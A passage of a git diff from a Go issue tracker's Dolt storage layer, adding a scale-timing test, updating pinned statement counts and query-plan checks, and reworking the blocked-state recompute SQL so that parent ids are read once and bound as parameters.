gates under a wisp", nested) + + createPerm(t, ctx, store, "pcwm-y") + addDependencyWithMeta(t, ctx, store, "pcwm-c3", "pcwm-y", types.DepBlocks, "") + nested["pcwm-y"] = false + nested["pcwm-c3"] = true // by Y, for now + step("a blocker of its own on the grandchild", nested) + if err := store.CloseIssue(ctx, "pcwm-y", "done", "tester", ""); err != nil { + t.Fatalf("close pcwm-y: %v", err) + } + nested["pcwm-c3"] = false + step("its own blocker closed", nested) +} diff --git a/internal/storage/dolt/blocked_full_repair_test.go b/internal/storage/dolt/blocked_full_repair_test.go index a224179ba..b83e76008 100644 --- a/internal/storage/dolt/blocked_full_repair_test.go +++ b/internal/storage/dolt/blocked_full_repair_test.go @@ -17,7 +17,7 @@ package dolt // // What the differential half proves narrowed in gastownhall/beads#6291: both // sides — the ground-truth producer (batched templates) and the system under -// test (full repair) — now render from the one shouldBeBlockedIDsUnionSQL +// test (full repair) — now render from the one shouldBeBlockedIDsUnionCoreSQL // builder, so write-path-vs-full-repair agreement no longer cross-checks two // independently written SQL forms. It validates scope-splicing (the batched // legs' `AND d.issue_id IN (batch)`) and the waits-for DISTINCT barrier, which diff --git a/internal/storage/dolt/blocked_scale_bench_test.go b/internal/storage/dolt/blocked_scale_bench_test.go new file mode 100644 index 000000000..78e42ccba --- /dev/null +++ b/internal/storage/dolt/blocked_scale_bench_test.go @@ -0,0 +1,291 @@ +package dolt + +import ( + "context" + "fmt" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// Blocked-state cost at store scale (gastownhall/beads#6506, #6288). +// +// The timings below are the ones the parent-child cascade can regress, and the +// ones a change to shouldBeBlockedIDsUnionCoreSQL must be measured against +// BEFORE it ships: +// +// - RecomputeAllIsBlockedInTx — the full repair. It runs on every dolt +// pull/merge (versioncontrolops/blocked_recompute.go), on federation sync, +// and behind `bd doctor --fix`, so its cost is paid by every clone on +// every sync, not only by an operator running doctor. +// - CountIsBlockedInconsistenciesInTx — the read-only detection behind the +// doctor "Blocked State" check, over an ALREADY CONSISTENT store, which is +// the case an operator actually hits. +// - RecomputeIsBlockedForIDsInTx at 2, 20 and 200 ids — the batched +// mark/unmark the incremental write path runs, isolated from the dolt +// commit around it. 200 is queryBatchSize (the bulk/import shape); 2 is the +// small-batch floor where per-statement cost cannot be amortized. +// - CloseIssue x100 — the incremental write path end to end, which runs the +// same union scoped to a batch. +// +// The fixture matters as much as the numbers: the parent-child legs +// short-circuit on `p.is_blocked = 1`, so a plane with no blocked rows +// measures nothing at all. This one carries a realistic mix — exogenously +// blocked epics that really do cascade, close-gate epics that (since #6506) +// must not, one depth-2 gate over a grandchild, and a large population of +// ordinary leaf-to-leaf blocks edges. +// +// Skipped under -short. It is a measurement, not an assertion: it has no +// pass/fail threshold, because a threshold in wall-clock time on shared CI +// hardware is a flake. Run it on both sides of a change and compare: +// +// BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ \ +// -run TestBlockedStateScaleTiming -count=1 -v +const ( + scaleEpics = 100 // bs-0000..bs-0099; 0..9 are roots, 10..99 hang under them + scaleIssues = 1000 + // Leaves bs-0100..bs-0699 carry blocks edges; bs-0700..bs-0999 are their + // targets, of which all but the last scaleOpenTargets are closed. + scaleFirstTarget = 700 + scaleOpenTargets = 60 + scaleEdgesPerLeaf = 3 + scaleClosesTimed = 100 + scaleBenchTimeout = 20 * time.Minute + scaleBenchIDFormat = "bs-%04d" +) + +func scaleID(n int) string { return fmt.Sprintf(scaleBenchIDFormat, n) } + +func TestBlockedStateScaleTiming(t *testing.T) { + if testing.Short() { + t.Skip("scale timing: skipped under -short") + } + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := context.WithTimeout(context.Background(), scaleBenchTimeout) + defer cancel() + + built := time.Now() + deps := buildScaleFixture(ctx, t, store) + t.Logf("fixture: %d issues, %d dependency edges, built in %s", + scaleIssues, deps, time.Since(built).Round(time.Millisecond)) + + // Converge once, untimed: every timing below is over a CONSISTENT store, + // which is the state a real clone is in when doctor or a pull runs. + recomputeAllScale(ctx, t, store) + t.Logf("blocked rows: %d of %d issues", scaleBlockedCount(ctx, t, store), scaleIssues) + + start := time.Now() + n := scaleCountInconsistencies(ctx, t, store) + t.Logf("TIMING doctor-count %s (reported %d inconsistencies)", + time.Since(start).Round(time.Millisecond), n) + + start = time.Now() + changed := recomputeAllScale(ctx, t, store) + t.Logf("TIMING full-repair %s (changed %d rows)", + time.Since(start).Round(time.Millisecond), changed) + + // The write path's SQL on its own: the batched mark/unmark the incremental + // recompute runs, over a spread of ids, with no commit. CloseIssue below is + // the honest end-to-end number, but most of it is a dolt commit, which on a + // loaded box swings further than the thing being measured. + // + // THREE batch sizes, because the batched path's cost per statement and its + // cost per id pull in opposite directions and one size hides the other. 200 + // is queryBatchSize — one statement pair, the bulk/import shape an + // AffectedBy* fan-out reaches. 20 is an ordinary epic-sized fan-out. 2 is + // the floor: the per-STATEMENT overhead (a scoped exogeneity read, the + // union built once) with almost no ids to amortize it over, which is where + // a fixed per-statement cost shows up worst. + for _, bs := range []struct { + size, reps int + }{{2, 50}, {20, 20}, {200, 5}} { + batchIDs := make([]string, 0, bs.size) + for i := 0; i < bs.size; i++ { + batchIDs = append(batchIDs, scaleID((i*5)%scaleIssues)) + } + txb, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin batched-recompute tx: %v", err) + } + start = time.Now() + for k := 0; k < bs.reps; k++ { + if err := issueops.RecomputeIsBlockedForIDsInTx(ctx, txb, batchIDs); err != nil { + _ = txb.Rollback() + t.Fatalf("RecomputeIsBlockedForIDsInTx(%d ids): %v", bs.size, err) + } + } + elapsedBatch := time.Since(start) + _ = txb.Rollback() + t.Logf("TIMING batched-recompute-%03d %s for %d x %d ids (%s each)", + bs.size, elapsedBatch.Round(time.Millisecond), bs.reps, len(batchIDs), + (elapsedBatch / time.Duration(bs.reps)).Round(time.Microsecond)) + } + + // The write path end to end: close scaleClosesTimed open leaves one at a + // time, each through the store's own CloseIssue, which recomputes the + // affected batch and commits. + targets := make([]string, 0, scaleClosesTimed) + for i := scaleFirstTarget + scaleOpenTargets; len(targets) < scaleClosesTimed && i < scaleIssues; i++ { + targets = append(targets, scaleID(i)) + } + for i := 100; len(targets) < scaleClosesTimed && i < scaleFirstTarget; i++ { + targets = append(targets, scaleID(i)) + } + start = time.Now() + for _, id := range targets { + if err := store.CloseIssue(ctx, id, "scale timing", "tester", ""); err != nil { + t.Fatalf("close %s: %v", id, err) + } + } + elapsed := time.Since(start) + t.Logf("TIMING write-path %s for %d CloseIssue (%s each)", + elapsed.Round(time.Millisecond), len(targets), + (elapsed / time.Duration(len(targets))).Round(time.Microsecond)) +} + +// buildScaleFixture writes the graph and returns the number of dependency +// edges it added. +// +// Every blocks edge goes in BEFORE any parent-child edge, and the parent-child +// edges go in with SkipCycleCheck. That is not a convenience: the close-gate +// shape is refused once both edges exist, in either order +// (CheckBlockingHierarchyInTx rejects a blocker that is a descendant, +// CheckDependencyCycleInTx rejects the parent-child edge that closes the +// loop), so one-edge-at-a-time is how the shape arrives in a real store too. +func buildScaleFixture(ctx context.Context, t *testing.T, store *DoltStore) int { + t.Helper() + + issues := make([]*types.Issue, 0, scaleIssues) + for i := 0; i < scaleIssues; i++ { + issues = append(issues, &types.Issue{ + ID: scaleID(i), + Title: "scale " + scaleID(i), + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + }) + } + if err := store.RunInTransaction(ctx, "scale fixture: issues", func(tx storage.Transaction) error { + return tx.CreateIssues(ctx, issues, "tester") + }); err != nil { + t.Fatalf("create scale issues: %v", err) + } + + type edge struct { + src, tgt string + ty types.DependencyType + } + var edges []edge + + openTarget := func(k int) string { + return scaleID(scaleFirstTarget + scaleOpenTargets - 1 - (k % scaleOpenTargets)) + } + + // Roots 0..4: a close gate over a GRANDCHILD — leaf 110+r hangs under epic + // 10+r, which hangs under root r. This is the depth-2 lock: it must not + // darken anything under the root. + for r := 0; r < 5; r++ { + edges = append(edges, edge{scaleID(r), scaleID(110 + r), types.DepBlocks}) + } + // Roots 5..9: exogenously blocked, so their whole subtree inherits. + for r := 5; r < 10; r++ { + edges = append(edges, edge{scaleID(r), openTarget(r), types.DepBlocks}) + } + // Epics 10..49: exogenously blocked. Epics 50..79: a close gate on one of + // their own direct children. Epics 80..99: clear. + for e := 10; e < 50; e++ { + edges = append(edges, edge{scaleID(e), openTarget(e), types.DepBlocks}) + } + for e := 50; e < 80; e++ { + edges = append(edges, edge{scaleID(e), scaleID(100 + e), types.DepBlocks}) + } + // Ordinary leaf-to-leaf blocks edges: sources 100..699, targets 700..999, + // most of which are closed below, so only some sources end up blocked. + strides := []int{13, 29, 47} + for i := 100; i < scaleFirstTarget; i++ { + for k := 0; k < scaleEdgesPerLeaf; k++ { + tgt := scaleFirstTarget + (i*strides[k]+7*k+3)%(scaleIssues-scaleFirstTarget) + edges = append(edges, edge{scaleID(i), scaleID(tgt), types.DepBlocks}) + } + } + // The hierarchy, last: leaves under epics, epics under roots. + for i := scaleEpics; i < scaleIssues; i++ { + edges = append(edges, edge{scaleID(i), scaleID(i % scaleEpics), types.DepParentChild}) + } + for e := 10; e < scaleEpics; e++ { + edges = append(edges, edge{scaleID(e), scaleID(e % 10), types.DepParentChild}) + } + + // One transaction per chunk: a single transaction over every edge holds the + // whole fixture in the uncommitted overlay, which is the pathological read + // shape #6288 documents and would measure the fixture rather than the code. + const chunk = 250 + for start := 0; start < len(edges); start += chunk { + end := start + chunk + if end > len(edges) { + end = len(edges) + } + batch := edges[start:end] + if err := store.RunInTransaction(ctx, "scale fixture: edges", func(tx storage.Transaction) error { + for _, e := range batch { + if err := tx.AddDependencyWithOptions(ctx, + &types.Dependency{IssueID: e.src, DependsOnID: e.tgt, Type: e.ty}, + "tester", storage.DependencyAddOptions{SkipCycleCheck: true}); err != nil { + return fmt.Errorf("add %s -> %s (%s): %w", e.src, e.tgt, e.ty, err) + } + } + return nil + }); err != nil { + t.Fatalf("scale fixture edges: %v", err) + } + } + + // Close most of the target pool so the blocked fraction is a fraction. + for i := scaleFirstTarget; i < scaleIssues-scaleOpenTargets; i++ { + if err := store.CloseIssue(ctx, scaleID(i), "scale fixture", "tester", ""); err != nil { + t.Fatalf("close scale target %s: %v", scaleID(i), err) + } + } + + return len(edges) +} + +func recomputeAllScale(ctx context.Context, t *testing.T, store *DoltStore) int64 { + t.Helper() + tx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin scale recompute tx: %v", err) + } + changed, err := issueops.RecomputeAllIsBlockedInTx(ctx, tx) + if err != nil { + _ = tx.Rollback() + t.Fatalf("scale RecomputeAllIsBlockedInTx: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit scale recompute tx: %v", err) + } + return changed +} + +func scaleCountInconsistencies(ctx context.Context, t *testing.T, store *DoltStore) int64 { + t.Helper() + n, err := issueops.CountIsBlockedInconsistenciesInTx(ctx, store.db) + if err != nil { + t.Fatalf("scale CountIsBlockedInconsistenciesInTx: %v", err) + } + return n +} + +func scaleBlockedCount(ctx context.Context, t *testing.T, store *DoltStore) int { + t.Helper() + var n int + if err := store.db.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issues WHERE is_blocked = 1").Scan(&n); err != nil { + t.Fatalf("count blocked rows: %v", err) + } + return n +} diff --git a/internal/storage/dolt/large_batch_apply_measure_test.go b/internal/storage/dolt/large_batch_apply_measure_test.go index 9429bc03a..b5cb20d63 100644 --- a/internal/storage/dolt/large_batch_apply_measure_test.go +++ b/internal/storage/dolt/large_batch_apply_measure_test.go @@ -163,13 +163,14 @@ const statementCountToleranceDolt = 2 // lower these; a change for any other reason should be re-measured and // re-pinned deliberately, not adjusted to make a failure go away. // -// Re-pinned for the batch-create round-trip work (was 7008 / 14014 / 846); -// see pinnedEmbeddedStatementCounts in internal/storage/embeddeddolt for the +// Re-pinned for the batch-create round-trip work (was 7008 / 14014 / 846), +// then for the parent-child cascade (classic was 786); see +// pinnedEmbeddedStatementCounts in internal/storage/embeddeddolt for the // per-change breakdown. The two backends now agree to within the tolerance. var pinnedDoltStatementCounts = map[string]int64{ "356 (mol 1x)": 6396, "712 (mol 2x)": 12791, - "40 (classic)": 786, + "40 (classic)": 835, } // BenchmarkLargeBatchApply_Dolt is gated by setupBenchStore's own diff --git a/internal/storage/embeddeddolt/graph_walk_plan_test.go b/internal/storage/embeddeddolt/graph_walk_plan_test.go index 54fcec97c..de1224471 100644 --- a/internal/storage/embeddeddolt/graph_walk_plan_test.go +++ b/internal/storage/embeddeddolt/graph_walk_plan_test.go @@ -37,6 +37,11 @@ func (r *statementRecorder) ExecContext(ctx context.Context, q string, a ...any) return r.DBTX.ExecContext(ctx, q, a...) } +func (r *statementRecorder) QueryContext(ctx context.Context, q string, a ...any) (*sql.Rows, error) { + r.stmts = append(r.stmts, recordedStatement{q, a}) + return r.DBTX.QueryContext(ctx, q, a...) +} + func explainPlan(t *testing.T, tx *sql.Tx, st recordedStatement) string { t.Helper() rows, err := tx.QueryContext(context.Background(), "EXPLAIN PLAN "+st.query, st.args...) @@ -62,14 +67,36 @@ func explainPlan(t *testing.T, tx *sql.Tx, st recordedStatement) string { return plan } +// assertRecursiveMembersAreLookups checks a walk built on reachabilityMembers: +// one recursive member per dependency table, each a lookup join from the +// frontier into that table's issue_id index. +func assertRecursiveMembersAreLookups(t *testing.T, plan string) { + t.Helper() + for _, want := range []string{"IndexedTableAccess(dependencies)", "IndexedTableAccess(wisp_dependencies)"} { + if !strings.Contains(plan, want) { + t.Errorf("plan has no %s:\n%s", want, plan) + } + } + if got := strings.Count(plan, "LookupJoin"); got != 2 { + t.Errorf("plan has %d LookupJoin, want 2 (one per recursive member):\n%s", got, plan) + } + if got := strings.Count(plan, "keys: r.node"); got != 2 { + t.Errorf("plan probes the edge tables by the frontier node %d times, want 2:\n%s", got, plan) + } + if strings.Contains(plan, "InnerJoin") || strings.Contains(plan, "HashJoin") || strings.Contains(plan, "MergeJoin") { + t.Errorf("a recursive member is not a lookup join:\n%s", plan) + } +} + // TestGraphWalkPlansHonorJoinHints proves the engine honors the -// JOIN_ORDER/LOOKUP_JOIN hints the per-edge reachability walks and the batched +// JOIN_ORDER/LOOKUP_JOIN hints the per-edge reachability walks, the ancestor +// walk that seeds a parent-child edge's recompute, and the batched // blocked-state recompute carry — not just that the text is there. Without // them the embedded planner already plans the cycle walk's (statistics-less) // wisp_dependencies member as a scan join, and the recompute's legs can be // driven from an index scan of every open row (the sql-server flip described -// at shouldBeBlockedIDsUnionScopedSQL). A deleted, misspelled, or no longer -// resolvable hint (e.g. a renamed alias) fails here. +// at shouldBeBlockedIDsUnionScopedPrecomputedSQL). A deleted, misspelled, or +// no longer resolvable hint (e.g. a renamed alias) fails here. func TestGraphWalkPlansHonorJoinHints(t *testing.T) { skipUnlessEmbeddedDolt(t) fixture := newPristineEmbeddedDoltFixture(t, "walkplan") @@ -114,24 +141,29 @@ func TestGraphWalkPlansHonorJoinHints(t *testing.T) { t.Fatalf("recorded %d statements, want 3 (one cycle walk, two ancestor walks)", len(rec.stmts)) } for _, st := range rec.stmts { - plan := explainPlan(t, tx, st) - // One recursive member per dependency table, each a lookup join - // from the frontier into that table's issue_id index. - for _, want := range []string{"IndexedTableAccess(dependencies)", "IndexedTableAccess(wisp_dependencies)"} { - if !strings.Contains(plan, want) { - t.Errorf("plan has no %s:\n%s", want, plan) - } - } - if got := strings.Count(plan, "LookupJoin"); got != 2 { - t.Errorf("plan has %d LookupJoin, want 2 (one per recursive member):\n%s", got, plan) - } - if got := strings.Count(plan, "keys: r.node"); got != 2 { - t.Errorf("plan probes the edge tables by the frontier node %d times, want 2:\n%s", got, plan) - } - if strings.Contains(plan, "InnerJoin") || strings.Contains(plan, "HashJoin") || strings.Contains(plan, "MergeJoin") { - t.Errorf("a recursive member is not a lookup join:\n%s", plan) + assertRecursiveMembersAreLookups(t, explainPlan(t, tx, st)) + } + }) + + // ancestorChainInTx runs on every parent-child write and merge replay; it + // is reached here the way a write reaches it. + t.Run("ancestor-chain walk", func(t *testing.T) { + rec := &statementRecorder{DBTX: tx} + if _, _, err := issueops.AffectedByDepChangeInTx(ctx, rec, id(n-7), id(n/3), types.DepParentChild); err != nil { + t.Fatal(err) + } + var walks []recordedStatement + for _, st := range rec.stmts { + if strings.Contains(st.query, "WITH RECURSIVE ancestors") { + walks = append(walks, st) } } + if len(walks) != 1 { + t.Fatalf("recorded %d ancestor walks, want 1", len(walks)) + } + // The same members as the reachability walks; the reason filter is + // the outer SELECT's, so it adds no join. + assertRecursiveMembersAreLookups(t, explainPlan(t, tx, walks[0])) }) t.Run("blocked-state recompute", func(t *testing.T) { diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go index cbdb06800..e86710383 100644 --- a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -419,10 +419,25 @@ func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { // // Net: 356 -613 (incl. the documented 1-statement jitter), 712 -1224, // classic -60. +// +// Re-pinned for the parent-child cascade (gastownhall/beads#6506; classic +// was 786). A parent-child edge now carries only a parent's exogenous +// blockedness, and in this shape each parent-child dep add pays seven more +// reads: +// - appendSiblingsUnderAncestorsInTx reseeds the parent's other children: +// one ancestorChainInTx walk and four child probes (both dependency +// tables, both parent columns), +5. +// - The batched mark/unmark reads its exogeneity set first +// (batchExogeneity): the parent-kind probe and the issue-parent read, +// +2. The probe skips the wisp-parent read, and the ancestry prune costs +// nothing while that read is empty. +// +// Net: classic +49 (seven distinct parent-child adds; the eighth repeats a +// pair and is a no-op). 356 and 712 are unchanged. var pinnedEmbeddedStatementCounts = map[string]int64{ "356 (mol 1x)": 6396, large712ShapeName: 12790, - "40 (classic)": 786, + "40 (classic)": 835, } // BenchmarkLargeBatchApply_Embedded benchmarks issueops.ApplyBatchInTx on diff --git a/internal/storage/issueops/blocked_consistency.go b/internal/storage/issueops/blocked_consistency.go index 7ae4400dd..36ed80c14 100644 --- a/internal/storage/issueops/blocked_consistency.go +++ b/internal/storage/issueops/blocked_consistency.go @@ -284,15 +284,21 @@ func recomputeIsBlockedCounting(ctx context.Context, tx DBTX, issueIDs, wispIDs var total int64 for { var changed int64 + // One exogeneity read per PASS, shared by every statement in it. It is + // a property of the PARENT, so the same answer serves both tables. + explained, err := subtreeExplainedParentsInTx(ctx, tx) + if err != nil { + return total, err + } if len(issueIDs) > 0 { - n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "issues", "i", "dependencies") + n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "issues", "i", "dependencies", explained) if err != nil { return total, err } changed += n } if len(wispIDs) > 0 { - n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "wisps", "w", "wisp_dependencies") + n, err := recomputeAllIsBlockedPassInTx(ctx, tx, "wisps", "w", "wisp_dependencies", explained) if err != nil { return total, err } @@ -312,9 +318,12 @@ func recomputeIsBlockedCounting(ctx context.Context, tx DBTX, issueIDs, wispIDs // table using the unbatched semi-join statements, returning rows corrected. // Error wrapping mirrors runMarkUnmarkBatchedInTx verbatim — downstream // consumers (wh-bridge-sync among them) match on these strings. -func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, depTable string) (int64, error) { +func recomputeAllIsBlockedPassInTx( + ctx context.Context, tx DBTX, table, alias, depTable string, explained subtreeExplainedParents, +) (int64, error) { var changed int64 - res, err := tx.ExecContext(ctx, markAllBlockedSQL(table, alias, depTable)) + res, err := tx.ExecContext(ctx, + markAllBlockedSQL(table, alias, depTable, explained), explained.args()...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) } @@ -324,7 +333,8 @@ func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, d } changed += n - res, err = tx.ExecContext(ctx, unmarkAllBlockedSQL(table, alias, depTable)) + res, err = tx.ExecContext(ctx, + unmarkAllBlockedSQL(table, alias, depTable, explained), explained.args()...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) } @@ -340,54 +350,554 @@ func recomputeAllIsBlockedPassInTx(ctx context.Context, tx DBTX, table, alias, d // same predicate, restructured so the engine can execute it as a semi-join. // //nolint:gosec // G201: table, alias, and depTable are constants from the only two callers. -func markAllBlockedSQL(table, alias, depTable string) string { +func markAllBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 1, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.is_blocked = 0 AND %[2]s.status <> 'closed' AND %[2]s.status <> 'pinned' AND %[2]s.id IN (%[3]s) - `, table, alias, shouldBeBlockedIDsUnionSQL(depTable)) + `, table, alias, shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained)) } // unmarkAllBlockedSQL is the full-table analog of the batched unmark // template. NOT IN is null-hostile — one NULL in the subquery result makes the // predicate UNKNOWN for every row and the unmark silently stops firing — which -// is why every leg of shouldBeBlockedIDsUnionSQL carries an explicit +// is why every leg of the union carries an explicit // d.issue_id IS NOT NULL guard. // //nolint:gosec // G201: table, alias, and depTable are constants from the only two callers. -func unmarkAllBlockedSQL(table, alias, depTable string) string { +func unmarkAllBlockedSQL(table, alias, depTable string, explained subtreeExplainedParents) string { return fmt.Sprintf(` UPDATE %[1]s %[2]s SET %[2]s.is_blocked = 0, %[2]s.updated_at = %[2]s.updated_at WHERE %[2]s.is_blocked = 1 AND ( %[2]s.status = 'closed' OR %[2]s.status = 'pinned' OR %[2]s.id NOT IN (%[3]s) ) - `, table, alias, shouldBeBlockedIDsUnionSQL(depTable)) + `, table, alias, shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explained)) } -// shouldBeBlockedIDsUnionSQL selects, UNCORRELATED with any outer row, every -// depTable issue_id that currently has a reason to be blocked: one UNION leg -// per reason — an open blocks/conditional-blocks target (issue or wisp), a -// blocked parent-child parent (issue or wisp), a blocking waits-for gate. +// subtreeExplainedParents is one read of parentsExplainedBySubtreeSQL, pruned +// by pruneExplainedByAncestryInTx: the ids of blocked parents whose +// blockedness is solely explained by their own subtree, with nothing blocked +// above them that is not, and which therefore may not darken their children +// (gastownhall/beads#6506). The ids are split by the parent's kind. +// +// WHY THE IDS AND NOT THE SQL. A spliced `p.id NOT IN (deriving query)` is +// evaluated once per leg per statement, and a full repair pass is four +// statements over two parent kinds. Measured at 1000 issues / 2870 deps: +// 46 ms on origin/main, 420 ms with the set spliced into all four, 80 ms read +// once per pass and bound as ids. The read itself is the same query either +// way; what changes is how many times a pass pays for it. The BATCHED path +// makes the same trade against its own scope rather than the whole store +// (scopedExplainedParentsInTx) — spliced there, it measured 6.9x. +// +// The set is small by construction — blocked parents that carry a blocking +// reason of their own, all of whose reasons point inside their own subtree — +// so binding it as an IN-list is bounded by the blocked-parent count, not by +// the store. +type subtreeExplainedParents struct { + issueParents []string + wispParents []string +} + +// args returns the bound ids in the order the union's legs consume them: the +// issue-parent leg (3) before the wisp-parent leg (4). A caller that splices +// the union more than once (countStaleIsBlockedSQL) repeats this list once per +// splice, in the same order. +func (e subtreeExplainedParents) args() []any { + out := make([]any, 0, len(e.issueParents)+len(e.wispParents)) + for _, id := range e.issueParents { + out = append(out, id) + } + for _, id := range e.wispParents { + out = append(out, id) + } + return out +} + +// notInPlaceholders renders the leg's exclusion for n bound ids — and nothing +// at all for none, because `NOT IN ()` is a syntax error and "exclude nothing" +// is the right reading of an empty set. +func notInPlaceholders(n int) string { + if n == 0 { + return "" + } + return "AND p.id NOT IN (" + strings.TrimSuffix(strings.Repeat("?,", n), ",") + ")" +} + +// subtreeExplainedParentsInTx reads both kinds' sets, once, for every +// unbatched statement that needs them. +// +// It is ONE read per kind and not one per dependency table because exogeneity +// is a property of the PARENT — of its own blocking reasons and its own +// subtree — and says nothing about which table the children asking about it +// live in. The candidate restriction inside the query therefore spans both +// tables (unbatchedCandSources): a parent that is a parent anywhere is +// computed once and excluded everywhere. Halving the reads is the difference +// between the doctor count landing at 1.7x origin/main and at 1.4x. +func subtreeExplainedParentsInTx(ctx context.Context, tx DBTX) (subtreeExplainedParents, error) { + var read subtreeExplainedParents + var err error + + read.issueParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("issues", "dependencies", "depends_on_issue_id", unbatchedCandSources())) + if err != nil { + return read, fmt.Errorf("read issue parents explained by their own subtree: %w", err) + } + read.wispParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("wisps", "wisp_dependencies", "depends_on_wisp_id", unbatchedCandSources())) + if err != nil && !isTableNotExistError(err) { + return read, fmt.Errorf("read wisp parents explained by their own subtree: %w", err) + } + // Every parent in the store was a candidate, so a blocked parent this read + // did not return is one its own reasons do not explain. + return pruneExplainedByAncestryInTx(ctx, tx, read, true) +} + +// scopedExplainedParentsInTx is subtreeExplainedParentsInTx confined to ONE +// BATCH: the same two reads, but the candidate parents are read only from the +// batch's own dependency rows, so the set is derived for the handful of +// parents above the batch instead of for every parent in the store. +// +// WHY A READ AND NOT A SPLICE. The batched mark/unmark templates used to +// splice the deriving query into both of their parent-child legs, +// batch-scoped, which reads as the cheap option: the scope confines cand to +// the batch, so the subquery is small. It is not cheap. A spliced +// `p.id NOT IN (subquery)` is paid once per leg per STATEMENT, and a batched +// pass is a mark and an unmark, so one 200-id recompute derived the set four +// times. Measured at 1000 issues / 2870 deps on embedded dolt, one pass over +// 200 ids: 53 ms on origin/main, 422 ms with the query spliced into both legs +// of both statements (6.9x, against a 1.5x bar), 61 ms read once per batch and +// bound as ids. It is the same trade the unbatched statements make one level +// up (see subtreeExplainedParents): the read is the same query either way, +// and what changes is how many times a pass pays for it. +// +// scope is the batch predicate already rendered to placeholders +// ("AND d.issue_id IN (?,?,…)") and args its ids. Both parent kinds are read +// with the same scope, because exogeneity is a property of the PARENT and the +// batch is only what bounds which parents can be asked about. +func scopedExplainedParentsInTx( + ctx context.Context, tx DBTX, depTable, scope string, args []any, +) (subtreeExplainedParents, error) { + var read subtreeExplainedParents + hasIssueParent, hasWispParent, err := batchParentKindsInTx(ctx, tx, depTable, scope, args) + if err != nil { + if isTableNotExistError(err) { + return read, nil + } + return read, err + } + cands := []candSource{{depTable: depTable, scope: scope}} + + if hasIssueParent { + read.issueParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("issues", "dependencies", "depends_on_issue_id", cands), args...) + if err != nil { + return read, fmt.Errorf("read batch issue parents explained by their own subtree: %w", err) + } + } + if hasWispParent { + read.wispParents, err = queryIDs(ctx, tx, + parentsExplainedBySubtreeSQL("wisps", "wisp_dependencies", "depends_on_wisp_id", cands), args...) + if err != nil && !isTableNotExistError(err) { + return read, fmt.Errorf("read batch wisp parents explained by their own subtree: %w", err) + } + } + // Only the batch's own parents were candidates, so the parents above them + // are read by id as the walk climbs. + return pruneExplainedByAncestryInTx(ctx, tx, read, false) +} + +// parentRef is one parent in pruneExplainedByAncestryInTx's walk: its id and +// its kind, which picks the tables its rows live in. The two id spaces are kept +// apart rather than trusted not to collide. +type parentRef struct { + id string + wisp bool +} + +// parentEdge is one parent-child edge from child up to a parent that is +// blocked. +type parentEdge struct { + child, parent parentRef +} + +// pruneExplainedByAncestryInTx drops from a read of parentsExplainedBySubtreeSQL +// every parent that is blocked FROM ABOVE: one with a blocked parent that is +// not itself explained, at any depth. It is the contract's recursive clause +// ("…or P's own parent-child parent is exogenously blocked") for parents that +// carry reasons of their own. +// +// WHY THE FIXPOINT DOES NOT CARRY IT. The read decides from a parent's OWN +// reason rows. The legs' p.is_blocked = 1 conjunct carries inheritance only +// for a parent with no reason row: such a parent is dark exactly while +// something above it cascades into it. A parent with a subtree reason is dark +// either way, so its bit says nothing about what is above it. Q blocks on +// outside X, pc P -> Q, P blocks on its own child C: the read explains P, so C +// comes bright while the epic above it is still gated by X. A one-level check +// ("no blocked parent outside the set") is not enough either. Put a second +// close gate between them (R blocks on X, pc Q -> R, Q blocks on P, pc P -> Q, +// P blocks on C): P's blocked parent Q is in the set, so P stays explained and +// R's gate never reaches C. Whether a parent is explained depends on the whole +// chain above it, and no is_blocked bit records that chain. +// +// So this resolves it here, over the few parents the read returned: +// +// - the edges: each explained parent's blocked parents +// (blockedParentEdgesInTx); +// - membership of every blocked parent the walk meets. A complete read +// already decides it: every parent in the store was a candidate, so a +// blocked parent it did not return is not explained. A batch-scoped read +// decided only the batch's parents, so the walk reads the rest by id +// (explainedAmongInTx) and keeps climbing while it finds explained ones; +// - the set itself (dropBlockedFromAbove): the GREATEST set of read parents +// all of whose blocked parents are in it. Start from everything read, and +// drop any parent with a blocked parent outside the set, until nothing +// drops. Greatest, because "exogenously blocked" needs a finite chain up +// to a real outside reason, so a malformed hierarchy cycle of close gates +// with nothing exogenous above it stays explained. The greatest set is +// unique, so the order of the drops cannot change it. +// +// COST. Nothing when the read is empty, which covers every store with no close +// gate and every batch with none at or above it. Otherwise it is one indexed +// edge read per level of nested close gates, plus a by-id read per level on +// the scoped path, over parents that are few by construction. +func pruneExplainedByAncestryInTx( + ctx context.Context, tx DBTX, read subtreeExplainedParents, complete bool, +) (subtreeExplainedParents, error) { + if len(read.issueParents) == 0 && len(read.wispParents) == 0 { + return read, nil + } + refs := read.refs() + // explained holds every blocked parent the walk has met: true while it is + // explained by its own subtree, false once it is known not to be. + explained := make(map[parentRef]bool, len(refs)) + for _, p := range refs { + explained[p] = true + } + above, err := 